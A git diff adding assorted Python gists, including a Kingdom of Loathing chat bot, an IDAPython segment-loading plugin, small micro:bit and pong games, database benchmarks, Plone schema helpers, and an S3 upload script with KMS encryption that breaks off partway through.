+    def __fetch_chat_messages(self):
+        try:
+            return self.__chat.getNewChatMessages()
+        except AttributeError:
+            # Work around a pykol bug
+            return []
+
+    def __chat_say(self, pid, text):
+        self.__chat.sendChatMessage('/msg {} {}'.format(pid, text))
+        self.log('I told #{} "{}"'.format(pid, text))
+
+    def __get_kmail(self, username):
+        # Fetch all of our green messages
+        r = GetMessagesRequest(self.__session, oldestFirst=True)
+        r.doRequest()
+        r.parseResponse()
+
+        # Return the most recent one sent by username
+        for kmail in r.responseData['kmails']:
+            if kmail['userName'] == username:
+                return kmail
+
+        # This is unexpected enough to crash the bot
+        raise Exception("Couldn't find a kmail by {}!".format(username))
+
+    def __del_kmail(self, mid):
+        d = DeleteMessagesRequest(self.__session, [mid])
+        d.doRequest()
+
+    def __sign(self, pid):
+        # Fetch user's profile page
+        r = GenericRequest(self.__session)
+        r.url = 'http://www.kingdomofloathing.com/showplayer.php?who={}'.format(pid)
+        r.doRequest()
+
+        # Check for the sign
+        r = re.search(r'<img alt="Placed by [^"]+" title="Placed by ([^"]+)" '
+                      r'style="position: absolute; left: 0px; top: 0px" src="'
+                      r'http://images.kingdomofloathing.com/otherimages/kickm'
+                      r'e.png" height="100" width="60" />', r.responseText)
+        if r is None:
+            resp = "You're clean."
+        else:
+            resp = "{} tagged you!".format(r.group(1))
+        self.__chat_say(pid, resp)
+        self.actions += 1
+
+    def __use_arrow(self, pid):
+        try:
+            # Try to use a time's arrow on them
+            c = CursePlayerRequest(self.__session, pid, 4939)
+            c.doRequest()
+        except Exception as e:
+            # Something went wrong! Maybe they're in HC or ronin
+            self.log("I couldn't use an arrow on them: {}".format(str(e)))
+            self.__chat_say(pid, "I couldn't use that arrow on you.")
+        else:
+            # Success! No need to tell them, they'll be notified
+            self.log("I used an arrow on them.")
+        self.actions += 1
+
+    def __use_spider(self, pid):
+        try:
+            # Try to use a rubber spider on them
+            c = CursePlayerRequest(self.__session, pid, 7698)
+            c.doRequest()
+        except Exception as e:
+            # Something went wrong! Maybe they're in HC or ronin
+            self.log("I couldn't use a spider on them: {}".format(str(e)))
+            self.__chat_say(pid, "I couldn't use that spider on you.")
+        else:
+            # Success! Tell them they can expect their spider
+            self.log("I used a spider on them.")
+            self.__chat_say(pid, "I used that spider on you.")
+        self.actions += 1
+
+    def log(self, text):
+        """
+        Output time-stamped text to self.out.
+        """
+        self.out.write('{} -- {}\n'.format(time.strftime(self.fmt), text))
+
+
+if __name__ == '__main__':
+    while True:
+        try:
+            SignBot(_username, _password).go()
+        except ConnectionError as e:
+            # Sometimes things time out because the web sucks
+            print 'Oops, I died: {}\n'.format(str(e))
+            time.sleep(10)
+        except Error as e:
+            # Sometimes rollover happens
+            print 'Rollover, probably: {}\n'.format(str(e))
+            time.sleep(600)
\ No newline at end of file
diff --git a/hard-gists/8bfa8e25f36e6f619247203d1bc0291b/._snippet.py b/hard-gists/8bfa8e25f36e6f619247203d1bc0291b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8bfa8e25f36e6f619247203d1bc0291b/._snippet.py differ
diff --git a/hard-gists/8bfa8e25f36e6f619247203d1bc0291b/snippet.py b/hard-gists/8bfa8e25f36e6f619247203d1bc0291b/snippet.py
new file mode 100644
index 00000000..0a8ac0c4
--- /dev/null
+++ b/hard-gists/8bfa8e25f36e6f619247203d1bc0291b/snippet.py
@@ -0,0 +1,133 @@
+'''
+IDAPython plugin that adds the contents of a file as a new segment in an existing idb.
+Prompts the user for:
+  - file path
+  - segment name
+  - segment starting offset
+  
+Useful for reversing engineering packed software and shellcode.
+
+Author: Willi Ballenthin <william.ballenthin@fireeye.com>
+Licence: Apache 2.0
+'''
+import logging
+from collections import namedtuple
+
+import idc
+import idaapi
+import idautils
+
+
+logger = logging.getLogger(__name__)
+
+
+class BadInputError(Exception):
+    pass
+
+
+Segment = namedtuple('SegmentBuffer', ['path', 'name', 'addr'])
+
+
+def prompt_for_segment():
+    ''' :returns: a Segment instance, or raises BadInputError '''
+    class MyForm(idaapi.Form):
+        def __init__(self):
+            idaapi.Form.__init__(self, """STARTITEM 0
+add segment by buffer
+
+<##buffer path:{path}>
+<##segment name:{name}>
+<##segment start address:{addr}>
+""",
+{
+    'path': idaapi.Form.FileInput(open=True),
+    'name': idaapi.Form.StringInput(),
+    'addr': idaapi.Form.NumericInput(tp=Form.FT_ADDR),
+})
+
+        def OnFormChange(self, fid):
+            return 1
+
+    f = MyForm()
+    f.Compile()
+    f.path.value = ""
+    f.name.value = ""
+    f.addr.value = 0x0
+    ok = f.Execute()
+    if ok != 1:
+        raise BadInputError('user cancelled')
+
+    path = f.path.value
+    if path == "" or path is None:
+        raise BadInputError('bad path provided')
+
+    if not os.path.exists(path):
+        raise BadInputError('file doesn\'t exist')
+
+    name = f.name.value
+    if name == "" or name is None:
+        raise BadInputError('bad name provided')
+
+    addr = f.addr.value
+    f.Free()
+    return Segment(path, name, addr)
+
+
+def main(argv=None):
+    if argv is None:
+        argv = sys.argv[:]
+
+    try:
+        seg = prompt_for_segment()
+    except BadInputError:
+        logger.error('bad input, exiting...')
+        return -1
+
+    with open(seg.path, 'rb') as f:
+        buf = f.read()
+
+    seglen = len(buf)
+    if seglen % 0x1000 != 0:
+        seglen = seglen + (0x1000 - (seglen % 0x1000))
+
+    if not idc.AddSeg(seg.addr, seg.addr + seglen, 0, 1, 0, idaapi.scPub):
+        logger.error('failed to add segment: 0x%x', seg.addr)
+        return -1
+
+    if not idc.RenameSeg(seg.addr, seg.name):
+        logger.warning('failed to rename segment: %s', seg.name)
+
+    if not idc.SetSegClass(seg.addr, 'CODE'):
+        logger.warning('failed to set segment class CODE: %s', seg.name)
+
+    if not idc.SegAlign(seg.addr, idc.saRelPara):
+        logger.warning('failed to align segment: %s', seg.name)
+
+    idaapi.patch_many_bytes(seg.addr, buf)
+    
+
+class AddSegmentPlugin(idaapi.plugin_t):
+    flags = idaapi.PLUGIN_KEEP
+    comment = "Add a segment to an IDA .idb from a file."
+
+    help = "Add a segment to an IDA .idb from a file."
+    wanted_name = "AddSegment"
+    wanted_hotkey = "Alt-F8"
+
+    def init(self):
+        return idaapi.PLUGIN_OK
+
+    def run(self, arg):
+        main()
+
+    def term(self):
+        pass
+
+
+def PLUGIN_ENTRY():
+    return AddSegmentPlugin()
+
+
+#if __name__ == '__main__':
+#    logging.basicConfig(level=logging.DEBUG)
+#    main()
\ No newline at end of file
diff --git a/hard-gists/8c6446457bcabf6e8e868e8717426ff4/._snippet.py b/hard-gists/8c6446457bcabf6e8e868e8717426ff4/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8c6446457bcabf6e8e868e8717426ff4/._snippet.py differ
diff --git a/hard-gists/8c6446457bcabf6e8e868e8717426ff4/snippet.py b/hard-gists/8c6446457bcabf6e8e868e8717426ff4/snippet.py
new file mode 100644
index 00000000..7708cfda
--- /dev/null
+++ b/hard-gists/8c6446457bcabf6e8e868e8717426ff4/snippet.py
@@ -0,0 +1,141 @@
+from microbit import *
+import random
+
+MIN_X = 0
+MAX_X = 4
+MIN_Y = 0
+MAX_Y = 4
+EGG_START_Y = 0
+BASKET_START_X = 2
+BASKET_Y = 4
+
+TICK = 1000
+
+BASKET_BRIGHTNESS = 9
+EGG_BRIGHTNESS = 3
+OFF_BRIGHTNESS = 0
+
+
+class Egg:
+    def __init__(self, x):
+        self.x = x
+        self.y = EGG_START_Y
+
+    def show(self):
+        try:
+            display.set_pixel(self.x, self.y, EGG_BRIGHTNESS)
+        except ValueError:
+            pass
+
+    def hide(self):
+        display.set_pixel(self.x, self.y, OFF_BRIGHTNESS)
+
+    def move_down(self):
+        self.y += 1
+
+    def is_smashed(self):
+        return (self.y > MAX_Y)
+
+    def is_caught(self, x):
+        return ((self.y == MAX_Y) and (self.x == x))
+
+
+class Basket:
+    x = BASKET_START_X
+
+    def set_x(self, x):
+        self.x = x
+
+    def get_x(self):
+        return self.x
+
+    def hide(self):
+        display.set_pixel(self.x, BASKET_Y, OFF_BRIGHTNESS)
+
+    def show(self):
+        display.set_pixel(self.x, BASKET_Y, BASKET_BRIGHTNESS)
+
+
+basket = Basket()
+
+eggs = []
+
+
+def hide_eggs():
+    for egg in eggs:
+        egg.hide()
+
+
+def show_eggs():
+    for egg in eggs:
+        egg.show()
+
+
+def move_eggs():
+    for egg in eggs:
+        egg.move_down()
+
+
+def caught_egg():
+    return ([egg for egg in eggs if egg.is_caught(basket.get_x())])
+
+
+def sweep_up_eggs():
+    eggs[:] = [egg for egg in eggs if (not egg.is_smashed() and not egg.is_caught(basket.get_x()))]
+
+
+def move_basket():
+    current_x = basket.get_x()
+    if button_a.was_pressed():
+        # move left
+        if current_x > MIN_X:
+            basket.hide()
+            basket.set_x(current_x - 1)
+    elif button_b.was_pressed():
+        # move right
+        if current_x < MAX_X:
+            basket.hide()
+            basket.set_x(current_x + 1)
+    basket.show()
+
+
+def start_game():
+    global last_tick
+    global score
+    last_tick = running_time()
+    score = 0
+    eggs.append(Egg(0))
+    eggs.append(Egg(3))
+    show_eggs()
+    basket.show()
+
+
+def finish_game():
+    display.scroll(str(score))
+
+
+def add_new_egg():
+    eggs.append(Egg(random.randint(0, 4)))
+
+
+def play_game():
+    global last_tick
+    global score
+    while not accelerometer.was_gesture("face down"):
+        move_basket()
+        if running_time() - last_tick > TICK:
+            last_tick += TICK
+            hide_eggs()
+            move_eggs()
+            if caught_egg():
+                score += 1
+            add_new_egg()
+            sweep_up_eggs()
+            show_eggs()
+
+
+# Main program
+
+start_game()
+play_game()
+finish_game()
diff --git a/hard-gists/8c9644f9666d60cad37b/._snippet.py b/hard-gists/8c9644f9666d60cad37b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8c9644f9666d60cad37b/._snippet.py differ
diff --git a/hard-gists/8c9644f9666d60cad37b/snippet.py b/hard-gists/8c9644f9666d60cad37b/snippet.py
new file mode 100644
index 00000000..9a6156ae
--- /dev/null
+++ b/hard-gists/8c9644f9666d60cad37b/snippet.py
@@ -0,0 +1,59 @@
+#!/usr/bin/env python
+
+'''
+pip install pysqlite
+pip install unqlite
+'''
+
+import sqlite3
+from unqlite import UnQLite
+import timeit
+import os
+
+
+def create_sqlite_table():
+    conn = sqlite3.connect('tmp.sqlite3')
+    c = conn.cursor()
+    c.execute(
+        '''
+        create table test_table
+        (a text, b text, c text)
+        '''
+    )
+    conn.close()
+
+
+def insert_sqlite_rows(number):
+    conn = sqlite3.connect('tmp.sqlite3')
+    c = conn.cursor()
+    for x in xrange(number):
+        c.execute(
+            '''
+            insert into test_table values(?,'2','3')
+            ''',
+            [x]
+        )
+        conn.commit()
+    conn.close()
+
+
+def insert_unqlite_items(number):
+    db = UnQLite('tmp.unqlite')
+    items = db.collection('items')
+    items.create()
+    for x in xrange(number):
+        items.store([{
+            'a': str(x),
+            'b': '2',
+            'c': '3',
+        }])
+
+
+if __name__ == '__main__':
+    os.unlink('tmp.unqlite')
+    os.unlink('tmp.sqlite3')
+    create_sqlite_table()
+    print "insert_sqlite_rows(1000):   ", timeit.timeit("insert_sqlite_rows(1000)", setup="from __main__ import insert_sqlite_rows", number=1)
+    print "insert_unqlite_items(1000): ", timeit.timeit("insert_unqlite_items(1000)", setup="from __main__ import insert_unqlite_items", number=1)
+    print 'sqlite size:  ', os.path.getsize('tmp.sqlite3')
+    print 'unqlite size: ', os.path.getsize('tmp.unqlite')
diff --git a/hard-gists/8cb3aa12e73a6df8d6b6/._snippet.py b/hard-gists/8cb3aa12e73a6df8d6b6/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8cb3aa12e73a6df8d6b6/._snippet.py differ
diff --git a/hard-gists/8cb3aa12e73a6df8d6b6/snippet.py b/hard-gists/8cb3aa12e73a6df8d6b6/snippet.py
new file mode 100644
index 00000000..50202805
--- /dev/null
+++ b/hard-gists/8cb3aa12e73a6df8d6b6/snippet.py
@@ -0,0 +1,63 @@
+from zope.schema import getFields
+from zope.interface import providedBy
+from zope.interface import implementedBy
+from zope.component import getUtility
+from zope.component import queryUtility
+from plone.behavior.interfaces import IBehavior
+from plone.behavior.interfaces import IBehaviorAssignable
+from plone.dexterity.interfaces import IDexterityFTI
+from plone.dexterity.utils import resolveDottedName
+
+
+def get_obj_schema(obj):
+    for iface in providedBy(obj).flattened():
+        for name, field in getFields(iface).items():
+            yield name, field
+
+    assignable = IBehaviorAssignable(obj, None)
+    if assignable:
+        for behavior in assignable.enumerateBehaviors():
+            for name, field in getFields(behavior.interface).items():
+                yield name, field
+
+
+def getBehaviorsFor(context=None, portal_type=None):
+    if context is None and portal_type is None:
+        return
+    if context is None:
+        fti = getUtility(IDexterityFTI, name=portal_type)
+        for behavior_name in fti.behaviors:
+            behavior_interface = None
+            behavior_instance = queryUtility(IBehavior, name=behavior_name)
+            if not behavior_instance:
+                try:
+                    behavior_interface = resolveDottedName(behavior_name)
+                except (ValueError, ImportError):
+                    continue
+            else:
+                behavior_interface = behavior_instance.interface
+            if behavior_interface is not None:
+                yield behavior_interface
+    else:
+        behavior_assignable = IBehaviorAssignable(context, None)
+        for behavior_reg in behavior_assignable.enumerateBehaviors():
+            yield behavior_reg.interface
+
+
+def getInterfacesFor(context=None, portal_type=None):
+    if context is None and portal_type is None:
+        return
+    if context is None:
+        kwargs = { 'portal_type': portal_type }
+        fti = queryUtility(IDexterityFTI, name=portal_type)
+    else:
+        kwargs = { 'context': context }
+        fti = queryUtility(IDexterityFTI, name=context.portal_type)
+    if fti is None:
+        return
+
+    for interface in implementedBy(resolveDottedName(fti.klass)):
+        yield interface
+    for schema in getBehaviorsFor(**kwargs):
+        yield schema
+    yield fti.lookupSchema()
diff --git a/hard-gists/8ce64008710128f3a076/._snippet.py b/hard-gists/8ce64008710128f3a076/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8ce64008710128f3a076/._snippet.py differ
diff --git a/hard-gists/8ce64008710128f3a076/snippet.py b/hard-gists/8ce64008710128f3a076/snippet.py
new file mode 100644
index 00000000..9520b70d
--- /dev/null
+++ b/hard-gists/8ce64008710128f3a076/snippet.py
@@ -0,0 +1,269 @@
+"""
+    Play a simple game of pong in a window.
+
+    Player 0 controls: (W, S)  Player 1 controls: (O, L). Quit: (Q)
+
+    The ball bounces differently if you move while hitting it.
+    This also includes a slight factor of randomness.
+
+    Requires: pyglet, 10x10 image in directory: "white_square.png"
+"""
+
+# native libs
+import math
+import random
+
+# non-native libs
+import pyglet
+
+
+class Ball(object):
+
+    def __init__(self):
+        self.debug = 0
+        # x and y are the _center_ of the ball, not topleft corner
+        self.TO_SIDE = 5
+        self.x = 50.0 + self.TO_SIDE
+        self.y = float( random.randint(0, 450) )
+        self.x_old = self.x  # coordinates in the last frame
+        self.y_old = self.y
+        self.vec_x = 2**0.5 / 2  # sqrt(2)/2
+        self.vec_y = random.choice([-1, 1]) * 2**0.5 / 2
+        #(assert self.vec_x * self.vex_y == 1.0) at all times
+
+
+class Player(object):
+
+    def __init__(self, NUMBER, screen_WIDTH=800):
+        """NUMBER must be 0 (left player) or 1 (right player)."""
+        self.NUMBER = NUMBER
+        self.x = 50.0 + (screen_WIDTH - 100) * NUMBER
+        self.y = 50.0
+        self.last_movements = [0]*4  # short movement history
+                                     # used for bounce calculation
+        self.up_key, self.down_key = None, None
+        if NUMBER == 0:
+            self.up_key = pyglet.window.key.W
+            self.down_key = pyglet.window.key.S
+        elif NUMBER == 1:
+            self.up_key = pyglet.window.key.O
+            self.down_key = pyglet.window.key.L
+
+
+class Model(object):
+    """Model of the entire game. Has two players and one ball."""
+
+    def __init__(self, DIMENSIONS=(800, 450)):
+        """DIMENSIONS is a tuple (WIDTH, HEIGHT) of the field."""
+        # OBJECTS
+        WIDTH = DIMENSIONS[0]
+        self.players = [Player(0, WIDTH), Player(1, WIDTH)]
+        self.ball = Ball()
+        # DATA
+        self.pressed_keys = set()  # set has no duplicates
+        self.quit_key = pyglet.window.key.Q
+        self.speed = 6  # in pixels per frame
+        self.ball_speed = self.speed * 2.5
+        self.WIDTH, self.HEIGHT = DIMENSIONS
+        # STATE VARS
+        self.paused = False
+        self.i = 0  # "frame count" for debug
+
+    def reset_ball(self, who_scored):
+        """Place the ball anew on the loser's side."""
+        if debug: print(str(who_scored)+" scored. reset.")
+        self.ball.y = float( random.randint(0, self.HEIGHT) )
+        self.ball.vec_y = random.choice([-1, 1]) * 2**0.5 / 2
+        if who_scored == 0:
+            self.ball.x = self.WIDTH - 50.0 - self.ball.TO_SIDE
+            self.ball.vec_x = - 2**0.5 / 2
+        elif who_scored == 1:
+            self.ball.x = 50.0 + self.ball.TO_SIDE
+            self.ball.vec_x = + 2**0.5 / 2
+        elif who_scored == "debug":
+            self.ball.x = 70  # in paddle atm -> usage: hold f
+            self.ball.y = self.ball.debug
+            self.ball.vec_x = -1
+            self.ball.vec_y = 0
+            self.ball.debug += 0.2
+            if self.ball.debug > 100:
+                self.ball.debug = 0
+
+    def check_if_oob_top_bottom(self):
+        """Called by update_ball to recalc. a ball above/below the screen."""
+        # bounces. if -- bounce on top of screen. elif -- bounce on bottom.
+        b = self.ball
+        if b.y - b.TO_SIDE < 0:
+            illegal_movement = 0 - (b.y - b.TO_SIDE)
+            b.y = 0 + b.TO_SIDE + illegal_movement
+            b.vec_y *= -1
+        elif b.y + b.TO_SIDE > self.HEIGHT:
+            illegal_movement = self.HEIGHT - (b.y + b.TO_SIDE)
+            b.y = self.HEIGHT - b.TO_SIDE + illegal_movement
+            b.vec_y *= -1
+
+    def check_if_oob_sides(self):
+        """Called by update_ball to reset a ball left/right of the screen."""
+        b = self.ball
+        if b.x + b.TO_SIDE < 0:  # leave on left
+            self.reset_ball(1)
+        elif b.x - b.TO_SIDE > self.WIDTH:  # leave on right
+            self.reset_ball(0)
+
+    def check_if_paddled(self):
+        """Called by update_ball to recalc. a ball hit with a player paddle."""
+        # TODO remove duplicate code?
+        # TODO also retrace the original line to see if it touches paddle
+        b = self.ball
+        p0, p1 = self.players[0], self.players[1]
+        angle = math.acos(b.vec_y)  # vector mult: (0, 1) * (b.vec_x, b.vec_y)
+        factor = random.randint(5, 15)  # low: strong player influence
+        # `cross` is true for player n if the ball was in front of their
+        # paddle the frame before and is behind them in this frame
+        cross0 = (b.x < p0.x + 2*b.TO_SIDE) and (b.x_old >= p0.x + 2*b.TO_SIDE)
+        cross1 = (b.x > p1.x - 2*b.TO_SIDE) and (b.x_old <= p1.x - 2*b.TO_SIDE)
+        if cross0 and -25 < b.y - p0.y < 25:
+            if debug: print("hit at "+str(self.i))
+            illegal_movement = p0.x + 2*b.TO_SIDE - b.x
+            b.x = p0.x + 2*b.TO_SIDE + illegal_movement
+            angle -= sum(p0.last_movements) / factor / self.ball_speed
+            b.vec_y = math.cos(angle)
+            b.vec_x = (1**2 - b.vec_y**2) ** 0.5
+        elif cross1 and -25 < b.y - p1.y < 25:
+            if debug: print("hit at "+str(self.i))
+            illegal_movement = p1.x - 2*b.TO_SIDE - b.x
+            b.x = p1.x - 2*b.TO_SIDE + illegal_movement
+            angle -= sum(p1.last_movements) / factor / self.ball_speed
+            b.vec_y = math.cos(angle)
+            b.vec_x = - (1**2 - b.vec_y**2) ** 0.5
+
+    def update_ball(self):
+        """
+            Update ball position with post-collision detection.
+            I.e. Let the ball move out of bounds and calculate
+            where it should have been within bounds.
+
+            When bouncing off a paddle, take player velocity into
+            consideration as well. Add a small factor of random too.
+        """
+        self.i += 1  # "debug"
+        b = self.ball
+        b.x_old, b.y_old = b.x, b.y
+        b.x += b.vec_x * self.ball_speed
+        b.y += b.vec_y * self.ball_speed
+        self.check_if_oob_top_bottom()  # oob: out of bounds
+        self.check_if_oob_sides()
+        self.check_if_paddled()
+
+    def update(self):
+        """Work through all pressed keys, update and call update_ball."""
+        pks = self.pressed_keys
+        if self.quit_key in pks:
+            exit(0)
+        if pyglet.window.key.R in pks and debug:
+            self.reset_ball(1)
+        if pyglet.window.key.F in pks and debug:
+            self.reset_ball("debug")
+        for p in self.players:
+            p.last_movements.pop(0)
+            if p.up_key in pks and p.down_key not in pks:
+                p.y -= self.speed
+                p.last_movements.append(-self.speed)
+            elif p.up_key not in pks and p.down_key in pks:
+                p.y += self.speed
+                p.last_movements.append(+self.speed)
+            else:
+                # notice how we popped from _place_ zero,
+                # but append _a number_ zero here. it's not the same.
+                p.last_movements.append(0)
+        self.update_ball()
+
+
+class Controller(object):
+
+    def __init__(self, model):
+        self.m = model
+
+    def on_key_press(self, symbol, modifiers):
+        # `a |= b`: mathematical or. add to set a if in set a or b.
+        # equivalent to `a = a | b`.
+        # XXX p0 holds down both keys => p1 controls break  # PYGLET!? D:
+        self.m.pressed_keys |= set([symbol])
+
+    def on_key_release(self, symbol, modifiers):
+        if symbol in self.m.pressed_keys:
+            self.m.pressed_keys.remove(symbol)
+
+    def update(self):
+        self.m.update()
+
+
+class View(object):
+
+    def __init__(self, window, model):
+        self.w = window
+        self.m = model
+        # ------------------ IMAGES --------------------#
+        # "white_square.png" is a 10x10 white image
+        lplayer = pyglet.resource.image("white_square.png")
+        # TODO stack the same graphic together three times?
+        self.player_spr = pyglet.sprite.Sprite(lplayer)
+
+    def redraw(self):
+        # ------------------ PLAYERS --------------------#
+        TO_SIDE = self.m.ball.TO_SIDE
+        for p in self.m.players:
+            self.player_spr.x = p.x//1 - TO_SIDE
+            # oh god! pyglet's (0, 0) is bottom right! madness.
+            self.player_spr.y = self.w.height - (p.y//1 + TO_SIDE)
+            self.player_spr.draw()  # these 3 lines: pretend-paddle
+            self.player_spr.y -= 2*TO_SIDE; self.player_spr.draw()
+            self.player_spr.y += 4*TO_SIDE; self.player_spr.draw()
+        # ------------------ BALL --------------------#
+        self.player_spr.x = self.m.ball.x//1 - TO_SIDE
+        self.player_spr.y = self.w.height - (self.m.ball.y//1 + TO_SIDE)
+        self.player_spr.draw()
+        # TODO draw scores (either as label or 3-by-5 pixel graphic)
+
+
+class Window(pyglet.window.Window):
+
+    def __init__(self, *args, **kwargs):
+        DIM = (800, 450)  # DIMENSIONS
+        super(Window, self).__init__(width=DIM[0], height=DIM[1],
+                                     *args, **kwargs)
+        # ------------------ MVC --------------------#
+        the_window = self
+        self.model = Model(DIM)
+        self.view = View(the_window, self.model)
+        self.controller = Controller(self.model)
+        # ------------------ CLOCK --------------------#
+        fps = 30.0
+        pyglet.clock.schedule_interval(self.update, 1.0/fps)
+        pyglet.clock.set_fps_limit(fps)
+
+    def on_key_release(self, symbol, modifiers):
+        self.controller.on_key_release(symbol, modifiers)
+
+    def on_key_press(self, symbol, modifiers):
+        self.controller.on_key_press(symbol, modifiers)
+
+    def update(self, *args, **kwargs):
+        # XXX make more efficient (save last position, draw black square
+        # over that and the new square, don't redraw _entire_ frame.)
+        self.clear()
+        self.controller.update()
+        self.view.redraw()
+
+
+def main():
+    if debug: print("init window...")
+    window = Window()
+    if debug: print("done! init app...")
+    pyglet.app.run()
+
+
+debug = 1
+
+if __name__ == "__main__":
+    main()
\ No newline at end of file
diff --git a/hard-gists/8cebde204781b7d27c90/._snippet.py b/hard-gists/8cebde204781b7d27c90/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8cebde204781b7d27c90/._snippet.py differ
diff --git a/hard-gists/8cebde204781b7d27c90/snippet.py b/hard-gists/8cebde204781b7d27c90/snippet.py
new file mode 100644
index 00000000..89b04878
--- /dev/null
+++ b/hard-gists/8cebde204781b7d27c90/snippet.py
@@ -0,0 +1,21 @@
+#!/bin/env python
+
+import timeit
+
+loops = 1000
+
+setup = """
+import MySQLdb
+db = MySQLdb.connect(host="remotedb.example.com",
+                          read_default_file="/root/.my.cnf",
+                          charset = "utf8", use_unicode = True)
+c = db.cursor()
+"""
+stmt = 'c.execute("SELECT 1")'
+
+t = timeit.Timer(stmt, setup)
+
+total_time = t.timeit(number=loops)
+print "Total loops: {}".format(loops)
+print "Total time: {}".format(total_time)
+print "Avg time per loop: {}".format(total_time / loops)
\ No newline at end of file
diff --git a/hard-gists/8d1a9b14d4e9a9080ab4752608c2de61/._snippet.py b/hard-gists/8d1a9b14d4e9a9080ab4752608c2de61/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8d1a9b14d4e9a9080ab4752608c2de61/._snippet.py differ
diff --git a/hard-gists/8d1a9b14d4e9a9080ab4752608c2de61/snippet.py b/hard-gists/8d1a9b14d4e9a9080ab4752608c2de61/snippet.py
new file mode 100644
index 00000000..21ebbe7f
--- /dev/null
+++ b/hard-gists/8d1a9b14d4e9a9080ab4752608c2de61/snippet.py
@@ -0,0 +1,390 @@
+#!/usr/bin/env python
+###############################################################################
+# This script uploads a file to an AWS S3 bucket.  It will optionally use KMS
+# envelope encryption to encrypt a file on the client side before uploading
+# to AWS S3.
+#
+# Envelope encryption fetches a data key from KMS and uses it to encrypt the
+# file.  The encrypted file is uploaded to an S3 bucket along with an encrypted
+# version of the data key (it's encrypted with a KMS main key).  You must
+# have access to the KMS main key to decrypt the data key and file.
+#
+# The input file is read in parts.  Each part is then encrypted (optional)
+# with a KMS data key and multipart uploaded to an S3 bucket using a different
+# thread.  Processing by part allows large files to be encrypted/uploaded
+# without requiring large amounts of memory, and threading improves performance
+# by uploading multiple parts in parallel.
+#
+# Usage:
+#   s3_put -p aws_profile -f input_file -b s3_bucket -s s3_key [-k kms_key]
+#          [-c part_size] [-m metadata] [-t threads] [-i] [-d debug_level]
+#
+# Parameter descriptions:
+#   aws_profile: name of your AWS profile
+#   input_file:  input file name
+#   s3_bucket:   name of the S3 bucket where your object will be uploaded
+#   s3_key:      key (path/name) of the S3 object to be uploaded
+#   kms_key:     ARN/alias of the AWS KMS key used to encrypt your data key.
+#                Default is to not encrypt
+#   part_size:   size of parts, in bytes, to be processed, with each part
+#                being encrypted and uploaded (multipart) to S3.  Default is
+#                40MB (41943040 bytes).
+#   metadata:    a optional list of values, in JSON format, that will be
+#                attached to the S3 object.
+#   threads:     number of threads used to upload file parts to S3
+#   -i:          by default, object metadata is attached to the S3 object.  If
+#                this switch is given, then metadata will be written, in json
+#                format, to a ".instruction" S3 object in the same bucket with
+#                the same key name appended with ".instruction".  See the code
+#                below for metadata key/value content.
+#   debug_level: default is INFO
+#
+# Examples:
+#   s3_put.py -p GR_GG_COF_AWS_Techops_Dev_Developer
+#     -f local_file.dat -b s3_bucket_name -s s3_key_name
+#     -k arn:aws:kms:us-east-1:076173845600:key/064fd0a4-50c1-4385-af8e-ff207950fcad
+#     -m '{"user": "abc123", "group": "samuser", "permissions": "644"}'
+#
+#   s3_put.py -p GR_GG_COF_AWS_Techops_Dev_Developer
+#     -f local_file.dat -b s3_bucket_name -s s3_key_name
+#     -k alias/cof/s3/encrypted
+#     -m '{"user": "abc123", "group": "samuser", "permissions": "644"}'
+###############################################################################
+
+from __future__ import print_function
+import os
+import sys
+import argparse
+import logging
+import math
+import time as t
+import datetime as dt
+import base64
+import json
+import threading
+import gc
+import traceback
+import ast
+import boto3
+from botocore.client import Config
+from Crypto import Random
+from Crypto.Cipher import AES
+
+def pad_pkcs7(s):
+    ''' PKCS7 adds bytes with each having the value of the padding length '''
+    pad_len = AES.block_size - (len(s) % AES.block_size)
+    return s + pad_len * chr(pad_len)
+
+def unpad_pkcs7(s):
+    return s[0:-ord(s[-1])]
+
+def current_ts():
+    return int((dt.datetime.utcnow().replace(microsecond=0) -
+                dt.datetime(1970,1,1).replace(microsecond=0)).total_seconds())
+
+def kms_encryption_setup(session, kms_key):
+    ''' Get the KMS key from AWS and initialize the cipher object '''
+    kms = session.client('kms')
+
+    # Convert arn into alias.
+    if kms_key[:4] == "arn:":
+        try:
+            kms_key_list = kms.list_keys()['Keys']
+            kms_alias_list = kms.list_aliases()['Aliases']
+            kms_key_id = [k['KeyId'] for k in kms_key_list
+                          if k['KeyArn'] == kms_key][0]
+            kms_key_alias = [a['AliasName'] for a in kms_alias_list
+                             if a.get('TargetKeyId') == kms_key_id][0]
+            logging.info("kms key alias: %s", kms_key_alias)
+            kms_key = kms_key_alias
+        except:
+            # Ignore all errors; use the arn for the key
+            pass
+
+    # Get data key from KMS and create the cipher object.
+    logging.info("Getting data key from AWS KMS...")
+    encryption_context = {"kms_cmk_id": kms_key}
+    data_key = kms.generate_data_key(KeyId=kms_key, KeySpec='AES_256',
+                                     EncryptionContext=encryption_context)
+    iv = Random.new().read(AES.block_size)
+    aes_cipher = AES.new(data_key['Plaintext'], mode=AES.MODE_CBC, IV=iv)
+
+    # Create metadata that includes the encryption context, encrypted data
+    # key, cipher method/mode/padding, and initialization vector.  Metadata
+    # key names match those used by the AWS Java API; using them allows us
+    # to download and decrypt using the AWS Java API.
+    metadata = {
+        'x-amz-wrap-alg': 'kms',
+        'x-amz-matdesc': json.dumps(encryption_context),
+        'x-amz-key-v2': base64.b64encode(data_key['CiphertextBlob']),
+        'x-amz-cek-alg': 'AES/CBC/PKCS5Padding',
+        'x-amz-iv': base64.b64encode(iv)
+    }
+
+    return aes_cipher, metadata
+
+
+def main():
+    class Parts(object):
+        ''' Upload an S3 object in multiple parts, each in a different
+            thread.  Encrypts if requested.
+        '''
+        def __init__(self):
+            self.num_s3_parts = num_s3_parts
+            self.max_running = args.threads
+            logging.info("S3 object parts: %d" % self.num_s3_parts)
+            logging.debug("Max running threads: %d" % self.max_running)
+            self.parts = ['0-index not used']  #S3 part numbers are 1-relative
+            self.total_size_uploaded = 0
+            self.total_upload_secs = 0
+            self.max_upload_secs = 0
+
+        def num_parts(self):
+            return len(self.parts) - 1
+
+        def num_running(self):
+            return len([p for p in self.parts[1:] if p['status'] == 'RUNNING'])
